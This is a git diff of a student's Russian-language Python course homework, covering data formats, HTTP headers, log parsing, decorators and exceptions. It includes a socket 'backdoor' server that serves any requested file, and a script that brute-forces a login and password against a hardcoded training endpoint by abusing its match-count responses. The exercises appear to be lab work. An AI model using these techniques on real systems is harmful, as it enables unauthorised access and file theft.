diff options
| -rw-r--r-- | day3/task1/README.md | 18 | ||||
| -rw-r--r-- | day3/task2/README.md | 98 | ||||
| -rw-r--r-- | day3/task4/task4.py | 56 | ||||
| -rw-r--r-- | day4/task1/task1.py | 4 | ||||
| -rw-r--r-- | day4/task4/client.py | 135 | ||||
| -rw-r--r-- | day4/task4/server.py | 125 | ||||
| -rw-r--r-- | day4/task5/task5.py | 78 | ||||
| -rw-r--r-- | day5/task1/task1.py | 20 | ||||
| -rw-r--r-- | day5/task2/task2.py | 31 | ||||
| -rw-r--r-- | day5/task3/task3.py | 29 | ||||
| -rw-r--r-- | day5/task4/task4.py | 23 | ||||
| -rw-r--r-- | day6/task1/task1.py | 5 | ||||
| -rw-r--r-- | day6/task2/task2.py | 7 | ||||
| -rw-r--r-- | day6/task3/task3.py | 35 |
14 files changed, 664 insertions, 0 deletions
diff --git a/day3/task1/README.md b/day3/task1/README.md new file mode 100644 index 0000000..5e3ef67 --- /dev/null +++ b/day3/task1/README.md @@ -0,0 +1,18 @@ +# JSON + +Является независимым подмножеством языка Javascript, которое сегодня можно сериализовать/десериализовать практически в +любом языке программирования. + +В сравнении с XML является более лаконичным из-за чего может быть более подходящим для передачи сложных структур по +сети (снижение используемого трафика). + +Является подмножеством YAML. + +# YAML + +Является надмножеством JSON из-за чего включает в себя все его положительные стороны. Концептуально близок к языкам +разметки, но ориентированный на удобство ввода-вывода типичных структур данных многих языков программирования. + +# XML +Язык разметки, разработанный W3C. Во многом многословен из-за чего может оказаться невыгодным для передачи небольших +структур данных по сети, но становится более удобным и эффективным при росте размера и сложности документа. diff --git a/day3/task2/README.md b/day3/task2/README.md new file mode 100644 index 0000000..84298d9 --- /dev/null +++ b/day3/task2/README.md @@ -0,0 +1,98 @@ +# Документ 1 + +> Request URL: https://app.reg.academy/admin + +URL, запрашиваемый у сервера + +> Request Method: GET + +Метод, с помощью которого создается запрос серверу. Далее сервер на своей стороне решает как именно обрабатывать +запрос с данным методом. Действия сервера в соответствии с методом описаный в спецификации, но реальные действия +ею не ограничены и сервер реализовывать ответы на запросы не по спецификации. + +> Status Code: 200 OK + +Статус запроса. Статус 200 означает, что запрос обработан успешно. Используется для того, чтобы клиент мог узнать как +был обработан его запрос и при появлении ошибок знал их причину. + +> Remote Address: 89.108.89.128:443 + +IP-адрес и порт сервера. + +> Referrer Policy: no-referrer-when-downgrade + +Заголовок, который означает, что URL клиента не будет отослан серверу, +если уровень защиты соединения понизился (HTTPS -> HTTP), но будет отослан, если уровень защиты +останется тем же (HTTP -> HTTP, HTTPS -> HTTPS) + +> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, + +Список допустимых форматов ресурса. (Обычный текст, и картинки разных форматов). + +> Accept-Encoding: gzip, deflate, br + +Перечень поддерживаемых способов кодирования содержимого сущности при передаче. + +> Accept-Language: en-US,en;q=0.9,ru;q=0.8 + +Список поддерживаемых естественных языков. + +> Cache-Control: no-cache + +Директива для управления кэшем. (не использовать кэш). + +> Connection: keep-alive + +Сведения о проведении соединения. (Сохранять соединение, пока оно не закроется). + +> Cookie: connect.sid=s123123123E + +Cookie-информация. Хранится на компьютере клиента. Используется для сохранения некоторых данных на стороне клиента. +Передается серверу в составе HTTP-запроса. + +> Host: app.reg.academy + +URL сервера. + +> Pragma: no-cache + +Используется как заголовок для обратной совместимости с системами, в которых заголовок Cache-Control не обрабатывается. +Используется аналогично Cache-Control. + +> Referer: https://app.reg.academy/admin/schools + +URL запроса клиента. При переходе по ссылке с одной страницы на другуй Referer будет являться первая. + +> Upgrade-Insecure-Requests: 1 + +Заголовок для сервера, который означает, что клиент предпочитает +защищенное соединение над незащищенным (HTTPS над HTTP). + +> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 + +Список названий и версий программ клиента, с помощью которых совершаются запросы и производится +обработка ответов сервера. + +# Документ 2 + +*Описаны только заголовки, отсутствующие в первом документе.* + +> Content-Length: 86 + +Размер передаваемого содержимого в байтах. + +> Content-Type: application/json;charset=UTF-8 + +Тип передаваемого содержимого (JSON-файл в UTF-8 кодировке) + +> csrf-token: bsARqevf-Uc1JBrBCxTuOPVnRgvL2gSEtcys + +Ключ, сгенерированный браузером для защиты от межсайтовой подделки запроса. (CSRF - Сross Site Request Forgery). + +> Origin: https://app.reg.academy + +Заголовок содержит в себе URL сервера + +> X-Requested-With: XMLHttpRequest + +Используется при запросах из JavaScript без перезагрузки страницы. Полезен для имитации AJAX запросов. diff --git a/day3/task4/task4.py b/day3/task4/task4.py new file mode 100644 index 0000000..b02f1fa --- /dev/null +++ b/day3/task4/task4.py @@ -0,0 +1,56 @@ +import re +from datetime import datetime + +f = open('otrs_error.log') + +matcher = re.compile(r'\[(?P<date>.*?)\]\[(?P<type>.*?)\]\[(?P<module>.*?)\]\[(?P<id>.*?)\] (?P<text>.*)') + +match_date_low = datetime(2017, 8, 6, 10, 0) +match_date_high = datetime(2017, 8, 6, 19, 0) +count_module = 'Kernel::System::Ticket::TicketPermission' +counter = 0 + +errors_by_module = {} +errors_by_date = {} + +lines = f.readlines() +for line in lines: + line = line.strip() + match = re.match(matcher, line) + + if match: + try: + date = datetime.strptime(match.group('date'), '%c') + except ValueError: + print(f'Ошибка при разборе строки (Неверный формат даты):\n{line}') + continue + + module = match.group('module') + + if match_date_low <= date <= match_date_high and module == count_module: + counter += 1 + + errors_by_module[module] = errors_by_module.get(module, 0) + 1 + + err_date = datetime(date.year, date.month, date.day) + errors_by_date[err_date] = errors_by_date.get(err_date, []) + [{ + 'date': date, + 'type': match.group('type'), + 'module': module, + 'id': match.group('id'), + 'text': match.group('text') + }] + + else: + print(f'Ошибка при разборе строки:\n{line}') + +print(f'За период с {match_date_low} по {match_date_high} в модуле "{count_module}" произошло {counter} ошибок') + +for module, count in sorted(errors_by_module.items(), key=lambda p: p[1], reverse=True): + print(f'В модуле {module} за все время произошло {count} ошибок') + +for date, errors in errors_by_date.items(): + # Дополняем дни и месяцы до ширины 2 с помощью нулей слева + with open(f'{str(date.day).rjust(2, "0")}.{str(date.month).rjust(2, "0")}.{date.year}.txt', 'w') as f: + for error in errors: + f.write(f"[{date.ctime()}][{error['type']}][{error['module']}][{error['id']}] {error['text']}\n") diff --git a/day4/task1/task1.py b/day4/task1/task1.py new file mode 100644 index 0000000..7b16685 --- /dev/null +++ b/day4/task1/task1.py @@ -0,0 +1,4 @@ +import re + +s = 'this =- is , bad ! text #$%^123%^' +print(re.sub(r'[^a-zA-Zа-яА-ЯёЁ]', ' ', s)) diff --git a/day4/task4/client.py b/day4/task4/client.py new file mode 100644 index 0000000..b6f0ab8 --- /dev/null +++ b/day4/task4/client.py @@ -0,0 +1,135 @@ +import socket +from time import sleep +import struct +import json +import shelve + +try: + from tqdm import tqdm + TQDM = True +except ImportError: + print('Для вывода прогресса загрузки файлов установите библиотеку tqdm') + TQDM = False + + +DATATYPE_SIZE = 4 # int +CHUNK_SIZE = 4096000 +HOST, PORT = ADDR = 'localhost', 6000 + + +class Client: + def __init__(self, server_host, server_port): + self.server = socket.socket() + self.db = shelve.open('backdoor.db') + + address = server_host, server_port + cnt = 0 + while cnt < 10: + try: + cnt += 1 + self.server.connect(address) + + except ConnectionRefusedError: + print('Не удалось подключиться к серверу. Следующая попытка через 3 секунды...') + sleep(3) + + else: + break + + else: + print('Не удалось подключиться к серверу через 10 попыток.\nОстанавливаемся...') + self.server.close() + + def start(self): + while True: + try: + data = input('Введите команду:\n') + self.handle_input(data) + + except ValueError as err: + print(err) + + except KeyboardInterrupt: + break + + self.server.close() + + def handle_input(self, data): + cmd, args = data.split(' ', maxsplit=1) + + if cmd == 'get': + self.download_file(args) + + elif cmd == 'cp': + paths = args.split() + if len(paths) != 2: + raise ValueError('Неверное количество путей в параметрах.') + + src, dest = paths + + # Если файл не присутствует в БД, то предварительно его загружаем + if src not in self.db: + self.download_file(src) + + # При любых ошибках при загрузке файла download_file выкинет исключение и исполнение + # не дойдет до этого блока, поэтому можно не проверять наличие src в БД + with open(dest, 'wb') as f: + f.write(self.db[src]) + + else: + raise ValueError('Команда не распознана') + + def download_file(self, path): + response = self.make_get_request(path) + if response['status'] == 0: + print(f'Загружаем файл размером {response["size"]} байт...') + + file_data = self.receive_data(int(response['size']), use_tqdm=True) + self.db[path] = file_data + + print('Загрузка завершена') + + elif response['status'] == 1: + raise ValueError(response['reason']) + + elif response['status'] == 2: + raise ValueError(f'Неизвестная ошибка: {response["reason"]}') + + def make_get_request(self, path): + packet = Client.pack_str(json.dumps({'method': 'get', 'path': path})) + self.server.sendall(packet) + return Client.parse_response(self.receive_data(DATATYPE_SIZE)) + + def receive_data(self, data_size, use_tqdm=False): + data = b'' + + # С копипастой надо бы что-то сделать, но я не знаю что + if not use_tqdm or not TQDM: + while len(data) < data_size: + (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE)) + data += self.server.recv(packet_size) + if not data: + raise ConnectionError('Connection was closed') + + elif TQDM: + for count in tqdm(range(0, data_size, CHUNK_SIZE)): + (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE)) + data += self.server.recv(packet_size) + if not data: + raise ConnectionError('Connection was closed') + + return data + + @staticmethod + def pack_str(data): + encoded = data.encode() + return struct.pack('I', len(encoded)) + encoded + + @staticmethod + def parse_response(data): + return json.loads(data.decode()) + + +if __name__ == '__main__': + client = Client(HOST, PORT) + client.start() diff --git a/day4/task4/server.py b/day4/task4/server.py new file mode 100644 index 0000000..d013b35 --- /dev/null +++ b/day4/task4/server.py @@ -0,0 +1,125 @@ +import socket +import struct +import json + + +HOST, PORT = ADDR = '0.0.0.0', 6000 +CHUNK_SIZE = 4096000 +DATATYPE_SIZE = 4 # int + + +def pack_str(data: str): + encoded = data.encode() + return struct.pack('I', len(encoded)) + encoded + + +def pack_bytes(data: bytes): + return struct.pack('I', len(data)) + data + + +def handle_request(data, connection): + request = json.loads(data) + + # Хотя метод только один, но все равно лучше + # сразу написать расширяемое приложение + if request['method'] == 'get': + path = request['path'] + + try: + with open(path, 'rb') as f: + file_data = f.read() + + except FileNotFoundError: + header = json.dumps({'status': 1, 'reason': 'Файл не найден'}) + connection.sendall(pack_str(header)) + + except PermissionError: + header = json.dumps({'status': 1, 'reason': 'Файл не доступен для чтения'}) + connection.sendall(pack_str(header)) + + # Я знаю, что это плохо, но сервер не должен падать, + # а других ошибок я не смог вспомнить + except Exception as e: + header = json.dumps({'status': 2, 'reason': f'{type(e)}: {e}'}) + connection.sendall(pack_str(header)) + + else: + length = len(file_data) + header = json.dumps({'status': 0, 'size': length, 'path': request['path']}) + connection.sendall(pack_str(header)) + print(f'Started sending file of size {length} bytes...') + i = 0 + while i < length: + packet = pack_bytes(file_data[i: i + CHUNK_SIZE]) + connection.sendall(packet) + i += CHUNK_SIZE + print(i / length * 100, '%') + print(f'Transmission ended') + + +def get_data(connection): + buffer = b'' + # Считываем размер пакета + while len(buffer) < DATATYPE_SIZE: + data = connection.recv(DATATYPE_SIZE - len(buffer)) + if not data: + raise ConnectionError('Connection was closed') + + buffer += data + + size_packed, buffer = buffer[:DATATYPE_SIZE], buffer[DATATYPE_SIZE:] + if not size_packed: + raise ConnectionError('Connection was closed') + + (size,) = struct.unpack('I', size_packed) + data = connection.recv(size - len(buffer)) + return buffer + data + + +def handle_connection(connection, address): + while True: + try: + data = get_data(connection) + + except ConnectionResetError: + print(f'Connection with {address[0]} was unexpectedly closed') + break + + except ConnectionError: + print(f'Connection with {address[0]} was ended') + break + + except KeyboardInterrupt: + raise KeyboardInterrupt() + + else: + if not data: + print(f'Connection with {address[0]} was ended') + break + handle_request(data.decode(), connection) + + +def main(): + sock = socket.socket() + sock.bind(ADDR) + sock.listen(5) + + while True: + print('Listening for new connections...') + try: + connection, address = sock.accept() + print(f'Got a connection from {address[0]}') + handle_connection(connection, address) + + except ConnectionResetError: + print(f'Connection with {address[0]} was unexpectedly closed') + + except KeyboardInterrupt: + print('Stopping server...') + sock.close() + print('Server stopped') + break + + +if __name__ == '__main__': + main() diff --git a/day4/task5/task5.py b/day4/task5/task5.py new file mode 100644 index 0000000..5aa14db --- /dev/null +++ b/day4/task5/task5.py @@ -0,0 +1,78 @@ +import requests +import re +import string + + +def brute_login(login_len, password): + login = '' + for _ in range(login_len): + for char in login_alphabet: + resp = requests.post(url, data={ + 'login': (login + char).ljust(login_len), + 'password': password + }) + try: + if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login): + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + except IndexError: + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return login + + +def brute_password(pass_len, login): + password = '' + + for _ in range(pass_len): + for char in password_alphabet: + resp = requests.post(url, data={ + 'login': login, + 'password': (password + char).ljust(pass_len) + }) + try: + if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password): + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + except IndexError: + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return password + + +url = 'http://213.178.59.123:8000/admin_auth' +login_alphabet = string.printable +# Судя по тому, что возвращает страничка, когда введен правильный логин +# и в пароле правильное количество знаков, в пароле есть только цифры. +password_alphabet = string.digits + +login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL) +password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL) + +resp = requests.post(url, data={'login': '123', 'password': '123'}) +login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3 +real_login = brute_login(login_len, '123') +print(f'Логин подобран: {real_login}') + +resp = requests.post(url, data={'login': real_login, 'password': '123'}) +pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3 +real_password = brute_password(pass_len, real_login) +print(f'Пароль подобран: {real_password}') + +resp = requests.post(url, data={'login': real_login, 'password': real_password}) +code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0] +print(f'Секретный код: {code}') diff --git a/day5/task1/task1.py b/day5/task1/task1.py new file mode 100644 index 0000000..19aee5b --- /dev/null +++ b/day5/task1/task1.py @@ -0,0 +1,20 @@ +def ingredients(func): + def wrapper(*args, **kwargs): + _ingredients = ['хлеб', 'кетчуп', 'сыр'] + for ingredient in _ingredients: + print('---%s---' % ingredient) + + func(*args, **kwargs) + + for ingredient in _ingredients[::-1]: + print('---%s---' % ingredient) + + return wrapper + + +@ingredients +def main_ingredient(meat): + print('---%s---' % meat) + + +main_ingredient('ветчина') diff --git a/day5/task2/task2.py b/day5/task2/task2.py new file mode 100644 index 0000000..e54b4a3 --- /dev/null +++ b/day5/task2/task2.py @@ -0,0 +1,31 @@ +def bread(func): + def wrapper(*args, **kwargs): + print('---хлеб---') + + func(*args, **kwargs) + + print('---хлеб---') + + return wrapper + + +def ingredients(func): + def wrapper(*args, **kwargs): + for ingredient in ['кетчуп', 'сыр']: + print('---%s---' % ingredient) + + func(*args, **kwargs) + + for ingredient in ['кетчуп', 'сыр'][::-1]: + print('---%s---' % ingredient) + + return wrapper + + +@bread +@ingredients +def main_ingredient(meat): + print('---%s---' % meat) + + +main_ingredient('ветчина') diff --git a/day5/task3/task3.py b/day5/task3/task3.py new file mode 100644 index 0000000..d3006e5 --- /dev/null +++ b/day5/task3/task3.py @@ -0,0 +1,29 @@ +# Оригинал +""" +def decor(some_params): + def wrapper(pr_function_like_an_arg): + print(some_params) + return pr_function_like_an_arg + + return wrapper + + +@decor('some_params') +def pr_function(): + print(' hi! ') + + +print('---') + + +pr_function() +""" + + +def pr_function(): + print(' hi! ') + + +print('some_params') +print('---') +pr_function() diff --git a/day5/task4/task4.py b/day5/task4/task4.py new file mode 100644 index 0000000..6acf659 --- /dev/null +++ b/day5/task4/task4.py @@ -0,0 +1,23 @@ +def spoiler(func): + def wrapper(*args, **kwargs): + print('\\--', end='') + func(*args, **kwargs) + + return wrapper + + +def wheels(func): + def wrapper(*args, **kwargs): + func(*args, **kwargs) + print(' o o') + + return wrapper + + +@spoiler +@wheels +def regular_car(): + print("Lada седан, баклажан") + + +regular_car() diff --git a/day6/task1/task1.py b/day6/task1/task1.py new file mode 100644 index 0000000..af3afbf --- /dev/null +++ b/day6/task1/task1.py @@ -0,0 +1,5 @@ +try: + a = int(input()) + print(100 / a) +except: + print('ошибка ввода') diff --git a/day6/task2/task2.py b/day6/task2/task2.py new file mode 100644 index 0000000..a95feae --- /dev/null +++ b/day6/task2/task2.py @@ -0,0 +1,7 @@ +try: + a = input() + print(100 / int(a)) +except ValueError as e: + print(e) +except ZeroDivisionError as e: + print(e) diff --git a/day6/task3/task3.py b/day6/task3/task3.py new file mode 100644 index 0000000..5541d36 --- /dev/null +++ b/day6/task3/task3.py @@ -0,0 +1,35 @@ +def divide(a, b): + if a > b: + import hahaha + + # В задании указано, что строго меньше, + # поэтому не else, а elif a < b + elif a < b: + import sys + + # Проверяем остаток + div, mod = divmod(a, b) + if mod == 0: + return div + else: + raise ArithmeticError(f'{a / b}') + + +try: + a = int(input()) + b = int(input()) + result = divide(a, b) + +except ArithmeticError as e: + print(f'Результат деления с остатком: {e}') + +# В задании написано отлавливать в отдельных except, +# но язык позволяет использовать более разумный синтаксис +except (ValueError, ZeroDivisionError, ModuleNotFoundError) as e: + print(e) + +except: + print('Непредвиденная ошибка') + +else: + print(f'Поделили успешно, вот вам результат: {result}') |